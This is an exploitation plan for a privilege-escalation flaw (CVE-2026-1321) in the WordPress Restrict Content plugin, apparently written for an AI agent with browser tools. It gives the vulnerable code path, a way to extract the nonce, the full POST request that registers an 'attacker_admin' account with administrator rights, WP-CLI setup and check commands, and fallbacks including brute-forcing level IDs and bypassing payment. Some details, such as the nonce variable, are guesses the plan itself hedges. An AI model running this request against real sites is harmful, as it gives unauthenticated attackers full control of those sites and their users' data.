Exploitation Research Plan: CVE-2026-1321 - Unauthenticated Privilege Escalation in Restrict Content

1. Vulnerability Summary

The Membership Plugin – Restrict Content (up to 3.2.20) contains a privilege escalation vulnerability. The registration process, specifically within rcp_process_registration() (located in core/includes/registration-functions.php), retrieves a membership level ID via the rcp_level POST parameter.

The vulnerability exists because the plugin fails to validate:

1. Whether the requested membership level is active (publicly available).
2. Whether the membership level requires payment before granting the associated WordPress role.
3. Whether the membership level is intended for administrative or restricted use only.

By submitting a registration request with a rcp_level ID corresponding to a privileged membership level (e.g., one that assigns the "Administrator" role), an unauthenticated attacker can create a new account with that role.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php (AJAX) or the URL of a page containing the registration shortcode.
• Action: rcp_process_registration (AJAX action).
• Vulnerable Parameter: rcp_level (POST).
• Authentication: None required (Unauthenticated).
• Preconditions:
  • The site must have a membership level defined that assigns a privileged role (like Administrator).
  • The registration form must be accessible (usually via a shortcode).

3. Code Flow

1. Entry Point: The user submits the registration form. The request is caught by the rcp_process_registration() function in core/includes/registration-functions.php.
2. Nonce Check: The function validates the nonce rcp_register_nonce using the action rcp-register-nonce.
3. Level Retrieval:

   $membership_level = rcp_get_membership_level( rcp_get_registration()->get_membership_level_id() );
   

   rcp_get_registration()->get_membership_level_id() reads $_POST['rcp_level'].
4. Inadequate Validation:

   if ( ! $membership_level ) { // Only checks if the level exists in DB
       // ... error
   }
   

   The code does not check $membership_level->is_active() or whether it's a paid level being bypassed.
5. Gateway Bypass:
   If the level is "inactive" or "private" but has a price of 0.00 (or if the attacker forces a gateway like free), the code continues.
6. Role Assignment (Sink): Later in the registration flow (within rcp_process_registration or called helpers), the plugin creates the WordPress user and calls $user->add_role( $membership_level->get_role() ). Since get_role() returns whatever role is configured for that level ID, the attacker gains that role.

4. Nonce Acquisition Strategy

The registration form requires a nonce with the action rcp-register-nonce.

1. Identify Shortcode: The plugin uses the [rcp_registration] shortcode (or legacy [register_form]) to render the registration form.
2. Create Test Page:

   wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[rcp_registration]'
   

3. Navigate and Extract:
   • Navigate to the newly created page using browser_navigate.
   • The nonce is typically localized in a global JavaScript object. Based on RCP source patterns, look for rcp_script_options.
   • Browser Eval: browser_eval("rcp_script_options.registration_nonce") or search the HTML source for rcp_register_nonce.

5. Exploitation Strategy

Step 1: Discover Privileged Level ID

We need to find an ID for a membership level that grants the administrator role. In a real-world scenario, attackers might brute-force IDs (1, 2, 3...). In our test environment, we will create one.

Step 2: Submit Registration Request

Send a POST request to admin-ajax.php.

Request Details:

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: rcp_process_registration
  • rcp_level: [TARGET_LEVEL_ID]
  • rcp_user_login: attacker_admin
  • rcp_user_email: attacker@example.com
  • rcp_user_pass: Password123!
  • rcp_user_pass_confirm: Password123!
  • rcp_register_nonce: [EXTRACTED_NONCE]
  • rcp_gateway: free

6. Test Data Setup

To prove the exploit, we must prepare the environment:

1. Create a Privileged Membership Level:
   Use PHP via WP-CLI to create a level that is "Inactive" (not shown on forms) but grants "Administrator" privileges.

   wp eval '
   $level = new \RCP\Membership_Level();
   $level->set_name("Hidden Admin Level");
   $level->set_description("Grant Admin Access");
   $level->set_role("administrator");
   $level->set_status("inactive"); // Vulnerability: can still be requested via ID
   $level->set_price(0);
   $level->save();
   echo "ID: " . $level->get_id();
   '
   

   Note: Note the ID returned by this command.
2. Create Registration Page:

   wp post create --post_type=page --post_status=publish --post_content='[rcp_registration]'
   

7. Expected Results

• The admin-ajax.php request should return a JSON success message: {"success": true, ...}.
• A new user attacker_admin should be created in the WordPress database.
• The user attacker_admin should have the administrator role.

8. Verification Steps

1. Check User Existence:

   wp user get attacker_admin
   

2. Verify Role:

   wp user list --login=attacker_admin --field=roles
   

   Expectation: Output should be administrator.

9. Alternative Approaches

• Manual POST to Page: If admin-ajax.php is restricted, the registration form also processes data when POSTed directly to the page containing the [rcp_registration] shortcode.
• Direct Page Submission:
  • URL: http://<target>/register-page/
  • Parameters: Same as AJAX, but ensure all standard RCP registration fields are included (First Name, Last Name if required).
• Paid Level Bypass: If no "Admin" level exists, try registering for a "Gold/Paid" level (rcp_level = [Paid_ID]) using the free gateway to check if it grants the membership without payment.